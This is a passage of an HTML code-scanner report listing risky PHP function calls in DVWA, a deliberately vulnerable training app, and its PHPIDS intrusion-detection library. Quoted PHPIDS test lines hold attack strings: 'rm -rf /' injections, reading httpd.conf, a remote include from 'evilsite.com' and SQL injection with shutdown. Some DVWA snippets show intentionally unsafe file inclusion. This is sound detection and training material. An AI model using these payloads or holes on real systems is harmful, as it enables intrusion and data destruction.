DVWA_WEB_PAGE_TO_ROOT."vulnerabilities/{$id}/help/help.php" ); 15- 16-$page[ 'body' ] .= " 17-<div class=\"body_padded\"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/view_source_all.php</span>:<span class='line_number'>12</span> <span class='match_count'>(4/12)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>9- 10-$id = $_GET[ 'id' ]; 11- 12:$lowsrc = @<span class='match_highlight'>file_get_contents(</span>"./{$id}/source/low.php"); 13-$lowsrc = str_replace( array( '$html .=' ), array( 'echo' ), $lowsrc); 14-$lowsrc = highlight_string($lowsrc, true); 15- 16:$medsrc = @<span class='match_highlight'>file_get_contents(</span>"./{$id}/source/medium.php"); 17-$medsrc = str_replace( array( '$html .=' ), array( 'echo' ), $medsrc); 18-$medsrc = highlight_string($medsrc, true); 19- 20:$highsrc = @<span class='match_highlight'>file_get_contents(</span>"./{$id}/source/high.php"); 21-$highsrc = str_replace( array( '$html .=' ), array( 'echo' ), $highsrc); 22-$highsrc = highlight_string($highsrc, true); 23-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/tests/IDS/MonitorTest.php</span>:<span class='line_number'>1013</span> <span class='match_count'>(5/12)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1010- $exploits[] = ';phpinfo()'; 1011- $exploits[] = '@phpinfo()'; 1012- $exploits[] = '"; <?php exec("rm -rf /"); ?>'; 1013: $exploits[] = '; <span class='match_highlight'>file_get_contents(</span>\'/usr/local/apache2/conf/httpd.conf\');'; 1014: $exploits[] = ';echo <span class='match_highlight'>file_get_contents(</span>implode(DIRECTORY_SEPARATOR, array("usr","local","apache2","conf","httpd.conf"))'; 1015- $exploits[] = '; include "http://evilsite.com/evilcode"'; 1016- $exploits[] = '; rm -rf /\0'; 1017- $exploits[] = '"; $_a=(! \'a\') . "php"; $_a.=(! \'a\') . "info"; $_a(1); $b="';</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Filter/Storage.php</span>:<span class='line_number'>305</span> <span class='match_count'>(6/12)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>302- */ 303- if (!$filters) { 304- if (file_exists($this->source)) { 305: $filters = json_decode(<span class='match_highlight'>file_get_contents(</span>$this->source)); 306- } else { 307- throw new Exception( 308- 'JSON data could not be loaded.' .</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Caching/File.php</span>:<span class='line_number'>169</span> <span class='match_count'>(7/12)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>166- // make sure filters are parsed again if cache expired 167- if (file_exists($this->path) && (time()-filectime($this->path)) < 168- $this->config['expiration_time']) { 169: $data = unserialize(<span class='match_highlight'>file_get_contents(</span>$this->path)); 170- return $data; 171- } 172-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/DefinitionCache/Serializer.php</span>:<span class='line_number'>33</span> <span class='match_count'>(8/12)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>30- public function get($config) { 31- $file = $this->generateFilePath($config); 32- if (!file_exists($file)) return false; 33: return unserialize(<span class='match_highlight'>file_get_contents(</span>$file)); 34- } 35- 36- public function remove($config) {</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema.php</span>:<span class='line_number'>54</span> <span class='match_count'>(9/12)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>51- * Unserializes the default ConfigSchema. 52- */ 53- public static function makeFromSerial() { 54: return unserialize(<span class='match_highlight'>file_get_contents(</span>HTMLPURIFIER_PREFIX . '/HTMLPurifier/ConfigSchema/schema.ser')); 55- } 56- 57- /**</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/EntityLookup.php</span>:<span class='line_number'>23</span> <span class='match_count'>(10/12)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>20- if (!$file) { 21- $file = HTMLPURIFIER_PREFIX . '/HTMLPurifier/EntityLookup/entities.ser'; 22- } 23: $this->table = unserialize(<span class='match_highlight'>file_get_contents(</span>$file)); 24- } 25- 26- /**</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Printer/ConfigForm.php</span>:<span class='line_number'>62</span> <span class='match_count'>(11/12)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>59- * Retrieves styling, in case it is not accessible by webserver 60- */ 61- public static function getCSS() { 62: return <span class='match_highlight'>file_get_contents(</span>HTMLPURIFIER_PREFIX . '/HTMLPurifier/Printer/ConfigForm.css'); 63- } 64- 65- /** 66- * Retrieves JavaScript, in case it is not accessible by webserver 67- */ 68- public static function getJavaScript() { 69: return <span class='match_highlight'>file_get_contents(</span>HTMLPURIFIER_PREFIX . '/HTMLPurifier/Printer/ConfigForm.js'); 70- } 71- 72- /**</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Log/Email.php</span>:<span class='line_number'>249</span> <span class='match_count'>(12/12)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>246- return false; 247- } 248- 249: $lastAttack = <span class='match_highlight'>file_get_contents(</span>$file); 250- $difference = time() - $lastAttack; 251- if ($difference > $this->allowed_rate) { 252- unlink($file);</code></pre> </div> </div> </div> </div> <div class='signature_3fdb7a345c5254104cc23673998a6a2d signature_group_dangerous_functions signature_group'> <a name='s-3fdb7a345c5254104cc23673998a6a2d'></a> <h3> <code>fopen(</code> <span class='signature_count'>(7)</span> <span class='top_hide'> <a href='#'>Top</a> | <a onclick='wt.signature.toggle("php","3fdb7a345c5254104cc23673998a6a2d")'>Hide</a> </span> </h3> <div class='sortable'> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Caching/Memcached.php</span>:<span class='line_number'>153</span> <span class='match_count'>(1/7)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>151- 152- if (!file_exists($this->path)) { 153: $handle = <span class='match_highlight'>fopen(</span>$this->path, 'w'); 154- fclose($handle); 155- } 156-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Caching/File.php</span>:<span class='line_number'>142</span> <span class='match_count'>(2/7)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>139- 140- if ((!file_exists($this->path) || (time()-filectime($this->path)) > 141- $this->config['expiration_time'])) { 142: $handle = @<span class='match_highlight'>fopen(</span>$this->path, 'w+'); 143- 144- if (!$handle) { 145- throw new Exception("Cache file couldn't be created");</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/StringHashParser.php</span>:<span class='line_number'>38</span> <span class='match_count'>(3/7)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>35- */ 36- public function parseFile($file) { 37- if (!file_exists($file)) return false; 38: $fh = <span class='match_highlight'>fopen(</span>$file, 'r'); 39- if (!$fh) return false; 40- $ret = $this->parseHandle($fh); 41- fclose($fh);</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/StringHashParser.php</span>:<span class='line_number'>51</span> <span class='match_count'>(4/7)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>48- public function parseMultiFile($file) { 49- if (!file_exists($file)) return false; 50- $ret = array(); 51: $fh = <span class='match_highlight'>fopen(</span>$file, 'r'); 52- if (!$fh) return false; 53- while (!feof($fh)) { 54- $ret[] = $this->parseHandle($fh);</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Log/File.php</span>:<span class='line_number'>195</span> <span class='match_count'>(5/7)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>192- if (!empty($data)) { 193- if (is_writable($this->logfile)) { 194- 195: $handle = <span class='match_highlight'>fopen(</span>$this->logfile, 'a'); 196- fwrite($handle, trim($data) . "\n"); 197- fclose($handle); 198-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Log/Email.php</span>:<span class='line_number'>242</span> <span class='match_count'>(6/7)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>239- $file = $dir . DIRECTORY_SEPARATOR . $filename; 240- 241- if (!file_exists($file)) { 242: $handle = <span class='match_highlight'>fopen(</span>$file, 'w'); 243- fwrite($handle, time()); 244- fclose($handle); 245-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./dvwa/includes/dvwaPhpIds.inc.php</span>:<span class='line_number'>46</span> <span class='match_count'>(7/7)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>43-// Clear PHPIDS log 44-function dvwaClearIdsLog() { 45- if (isset($_GET['clear_log'])) { 46: $fp = <span class='match_highlight'>fopen(</span>DVWA_WEB_PAGE_TO_PHPIDS_LOG, w); 47- fclose($fp); 48- dvwaMessagePush( "PHPIDS log cleared" ); 49- dvwaPageReload();</code></pre> </div> </div> </div> </div> <div class='signature_de94e676c0358eefea4794f03d6bda4f signature_group_dangerous_functions signature_group'> <a name='s-de94e676c0358eefea4794f03d6bda4f'></a> <h3> <code>goto</code> <span class='signature_count'>(1)</span> <span class='top_hide'> <a href='#'>Top</a> | <a onclick='wt.signature.toggle("php","de94e676c0358eefea4794f03d6bda4f")'>Hide</a> </span> </h3> <div class='sortable'> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/tests/IDS/MonitorTest.php</span>:<span class='line_number'>626</span> <span class='match_count'>(1/1)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>624- $exploits[] = 'asd\' union (select username,password from admins) where id=\'1'; 625- $exploits[] = "1'; WAITFOR TIME '17:48:00 ' shutdown -- -a"; 626: $exploits[] = "1'; anything: <span class='match_highlight'>goto</span> anything -- -a"; 627- $exploits[] = "' =+ '"; 628- $exploits[] = "asd' =- (-'asd') -- -a"; 629- $exploits[] = 'aa"in+ ("aa") or -1 != "0';</code></pre> </div> </div> </div> </div> <div class='signature_d436eb0fd9de10b54a828ce6435f7e81 signature_group_dangerous_functions signature_group'> <a name='s-d436eb0fd9de10b54a828ce6435f7e81'></a> <h3> <code>include</code> <span class='signature_count'>(70)</span> <span class='top_hide'> <a href='#'>Top</a> | <a onclick='wt.signature.toggle("php","d436eb0fd9de10b54a828ce6435f7e81")'>Hide</a> </span> </h3> <div class='sortable'> <div class='point_of_interest'> <span class='file_name'>./instructions.php</span>:<span class='line_number'>4</span> <span class='match_count'>(1/70)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>2- 3-define( 'DVWA_WEB_PAGE_TO_ROOT', '' ); 4:require_once DVWA_WEB_PAGE_TO_ROOT.'dvwa/<span class='match_highlight'>include</span>s/dvwaPage.inc.php'; 5- 6-dvwaPageStartup( array( 'authenticated', 'phpids' ) ); 7-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./index.php</span>:<span class='line_number'>5</span> <span class='match_count'>(2/70)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>2- 3-define( 'DVWA_WEB_PAGE_TO_ROOT', '' ); 4- 5:require_once DVWA_WEB_PAGE_TO_ROOT.'dvwa/<span class='match_highlight'>include</span>s/dvwaPage.inc.php'; 6- 7-dvwaPageStartup( array( 'authenticated', 'phpids' ) ); 8-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./login.php</span>:<span class='line_number'>5</span> <span class='match_count'>(3/70)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>2- 3-define( 'DVWA_WEB_PAGE_TO_ROOT', '' ); 4- 5:require_once DVWA_WEB_PAGE_TO_ROOT.'dvwa/<span class='match_highlight'>include</span>s/dvwaPage.inc.php'; 6- 7-dvwaPageStartup( array( 'phpids' ) ); 8-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./ids_log.php</span>:<span class='line_number'>4</span> <span class='match_count'>(4/70)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1-<?php 2- 3-define( 'DVWA_WEB_PAGE_TO_ROOT', '' ); 4:require_once DVWA_WEB_PAGE_TO_ROOT.'dvwa/<span class='match_highlight'>include</span>s/dvwaPage.inc.php'; 5- 6-define( 'DVWA_WEB_ROOT_TO_PHPIDS_LOG', 'external/phpids/'.dvwaPhpIdsVersionGet().'/lib/IDS/tmp/phpids_log.txt' ); 7-define( 'DVWA_WEB_PAGE_TO_PHPIDS_LOG', DVWA_WEB_PAGE_TO_ROOT.DVWA_WEB_ROOT_TO_PHPIDS_LOG );</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./about.php</span>:<span class='line_number'>4</span> <span class='match_count'>(5/70)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1-<?php 2- 3-define( 'DVWA_WEB_PAGE_TO_ROOT', '' ); 4:require_once DVWA_WEB_PAGE_TO_ROOT.'dvwa/<span class='match_highlight'>include</span>s/dvwaPage.inc.php'; 5- 6-dvwaPageStartup( array( 'authenticated', 'phpids' ) ); 7-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./about.php</span>:<span class='line_number'>54</span> <span class='match_count'>(6/70)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>51- the Free Software Foundation, either version 3 of the License, or 52- (at your option) any later version.</p> 53- 54: <p>The PHPIDS library is <span class='match_highlight'>include</span>d, in good faith, with this DVWA distribution. The operation of PHPIDS is provided without support from the DVWA team. It is licensed under <a href=\"".DVWA_WEB_PAGE_TO_ROOT."instructions.php?doc=PHPIDS-license\">separate terms</a> to the DVWA code.</p> 55- 56- <h2>Development</h2> 57-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./security.php</span>:<span class='line_number'>4</span> <span class='match_count'>(7/70)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1-<?php 2- 3-define( 'DVWA_WEB_PAGE_TO_ROOT', '' ); 4:require_once DVWA_WEB_PAGE_TO_ROOT.'dvwa/<span class='match_highlight'>include</span>s/dvwaPage.inc.php'; 5- 6-dvwaPageStartup( array( 'authenticated', 'phpids' ) ); 7-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/csrf/index.php</span>:<span class='line_number'>4</span> <span class='match_count'>(8/70)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1-<?php 2- 3-define( 'DVWA_WEB_PAGE_TO_ROOT', '../../' ); 4:require_once DVWA_WEB_PAGE_TO_ROOT.'dvwa/<span class='match_highlight'>include</span>s/dvwaPage.inc.php'; 5- 6-dvwaPageStartup( array( 'authenticated', 'phpids' ) ); 7-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/fi/include.php</span>:<span class='line_number'>9</span> <span class='match_count'>(9/70)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>6- 7- <div class=\"vulnerable_code_area\"> 8- 9: To <span class='match_highlight'>include</span> a file edit the ?page=index.php in the URL to determine which file is <span class='match_highlight'>include</span>d. 10- 11- </div> 12-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/fi/index.php</span>:<span class='line_number'>4</span> <span class='match_count'>(10/70)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1-<?php 2- 3-define( 'DVWA_WEB_PAGE_TO_ROOT', '../../' ); 4:require_once DVWA_WEB_PAGE_TO_ROOT.'dvwa/<span class='match_highlight'>include</span>s/dvwaPage.inc.php'; 5- 6-dvwaPageStartup( array( 'authenticated', 'phpids' ) ); 7-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/fi/index.php</span>:<span class='line_number'>35</span> <span class='match_count'>(11/70)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>32-$page[ 'help_button' ] = 'fi'; 33-$page[ 'source_button' ] = 'fi'; 34- 35:<span class='match_highlight'>include</span>($file); 36- 37-dvwaHtmlEcho( $page ); 38-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/fi/source/high.php</span>:<span class='line_number'>5</span> <span class='match_count'>(12/70)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>2- 3- $file = $_GET['page']; //The page we wish to display 4- 5: // Only allow <span class='match_highlight'>include</span>.php 6: if ( $file != "<span class='match_highlight'>include</span>.php" ) { 7- echo "ERROR: File not found!"; 8- exit; 9- }</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/sqli_blind/index.php</span>:<span class='line_number'>4</span> <span class='match_count'>(13/70)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1-<?php 2- 3-define( 'DVWA_WEB_PAGE_TO_ROOT', '../../' ); 4:require_once DVWA_WEB_PAGE_TO_ROOT.'dvwa/<span class='match_highlight'>include</span>s/dvwaPage.inc.php'; 5- 6-dvwaPageStartup( array( 'authenticated', 'phpids' ) ); 7-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/view_source.php</span>:<span class='line_number'>4</span> <span class='match_count'>(14/70)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1-<?php 2- 3-define( 'DVWA_WEB_PAGE_TO_ROOT', '../' ); 4:require_once DVWA_WEB_PAGE_TO_ROOT.'dvwa/<span class='match_highlight'>include</span>s/dvwaPage.inc.php'; 5- 6-dvwaPageStartup( array( 'authenticated', 'phpids' ) ); 7-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/brute/index.php</span>:<span class='line_number'>4</span> <span class='match_count'>(15/70)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1-<?php 2- 3-define( 'DVWA_WEB_PAGE_TO_ROOT', '../../' ); 4:require_once DVWA_WEB_PAGE_TO_ROOT.'dvwa/<span class='match_highlight'>include</span>s/dvwaPage.inc.php'; 5- 6-dvwaPageStartup( array( 'authenticated', 'phpids' ) ); 7-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/brute/help/help.php</span>:<span class='line_number'>11</span> <span class='match_count'>(16/70)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>8- 9- <p>Password cracking is the process of recovering passwords from data that has been stored in or transmitted by a computer system. A common approach is to repeatedly try guesses for the password.</p> 10- 11: <p>Users often choose weak passwords. Examples of insecure choices <span class='match_highlight'>include</span> single words found in dictionaries, given and family names, any too short password 12- (usually thought to be 6 or 7 characters or less), or any password meeting a too restrictive and so predictable, pattern (eg, alternating vowels and consonants).</p> 13- 14- <p>A last resort is to try every possible password, known as a brute force attack. In theory, if there is no limit to the number of attempts, a brute force attack will always</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/exec/index.php</span>:<span class='line_number'>4</span> <span class='match_count'>(17/70)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1-<?php 2- 3-define( 'DVWA_WEB_PAGE_TO_ROOT', '../../' ); 4:require_once DVWA_WEB_PAGE_TO_ROOT.'dvwa/<span class='match_highlight'>include</span>s/dvwaPage.inc.php'; 5- 6-dvwaPageStartup( array( 'authenticated', 'phpids' ) ); 7-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/upload/index.php</span>:<span class='line_number'>4</span> <span class='match_count'>(18/70)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1-<?php 2- 3-define( 'DVWA_WEB_PAGE_TO_ROOT', '../../' ); 4:require_once DVWA_WEB_PAGE_TO_ROOT.'dvwa/<span class='match_highlight'>include</span>s/dvwaPage.inc.php'; 5- 6-dvwaPageStartup( array( 'authenticated', 'phpids' ) ); 7-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/view_help.php</span>:<span class='line_number'>4</span> <span class='match_count'>(19/70)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1-<?php 2- 3-define( 'DVWA_WEB_PAGE_TO_ROOT', '../' ); 4:require_once DVWA_WEB_PAGE_TO_ROOT.'dvwa/<span class='match_highlight'>include</span>s/dvwaPage.inc.php'; 5- 6-dvwaPageStartup( array( 'authenticated', 'phpids' ) ); 7-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/sqli/index.php</span>:<span class='line_number'>4</span> <span class='match_count'>(20/70)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1-<?php 2- 3-define( 'DVWA_WEB_PAGE_TO_ROOT', '../../' ); 4:require_once DVWA_WEB_PAGE_TO_ROOT.'dvwa/<span class='match_highlight'>include</span>s/dvwaPage.inc.php'; 5- 6-dvwaPageStartup( array( 'authenticated', 'phpids' ) ); 7-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/view_source_all.php</span>:<span class='line_number'>3</span> <span class='match_count'>(21/70)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1-<?php 2-define( 'DVWA_WEB_PAGE_TO_ROOT', '../' ); 3:require_once DVWA_WEB_PAGE_TO_ROOT.'dvwa/<span class='match_highlight'>include</span>s/dvwaPage.inc.php'; 4- 5-dvwaPageStartup( array( 'authenticated', 'phpids' ) ); 6-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/xss_s/index.php</span>:<span class='line_number'>4</span> <span class='match_count'>(22/70)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1-<?php 2- 3-define( 'DVWA_WEB_PAGE_TO_ROOT', '../../' ); 4:require_once DVWA_WEB_PAGE_TO_ROOT.'dvwa/<span class='match_highlight'>include</span>s/dvwaPage.inc.php'; 5- 6-dvwaPageStartup( array( 'authenticated', 'phpids' ) ); 7-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/xss_r/index.php</span>:<span class='line_number'>4</span> <span class='match_count'>(23/70)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1-<?php 2- 3-define( 'DVWA_WEB_PAGE_TO_ROOT', '../../' ); 4:require_once DVWA_WEB_PAGE_TO_ROOT.'dvwa/<span class='match_highlight'>include</span>s/dvwaPage.inc.php'; 5- 6-dvwaPageStartup( array( 'authenticated', 'phpids' ) ); 7-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/examples/example.php</span>:<span class='line_number'>19</span> <span class='match_count'>(24/70)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>16- * GNU General Public License for more details. 17- */ 18- 19:// set the <span class='match_highlight'>include</span> path properly for PHPIDS 20:set_<span class='match_highlight'>include</span>_path( 21: get_<span class='match_highlight'>include</span>_path() 22- . PATH_SEPARATOR 23- . '../../lib/' 24-);</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/examples/cakephp/ids.php</span>:<span 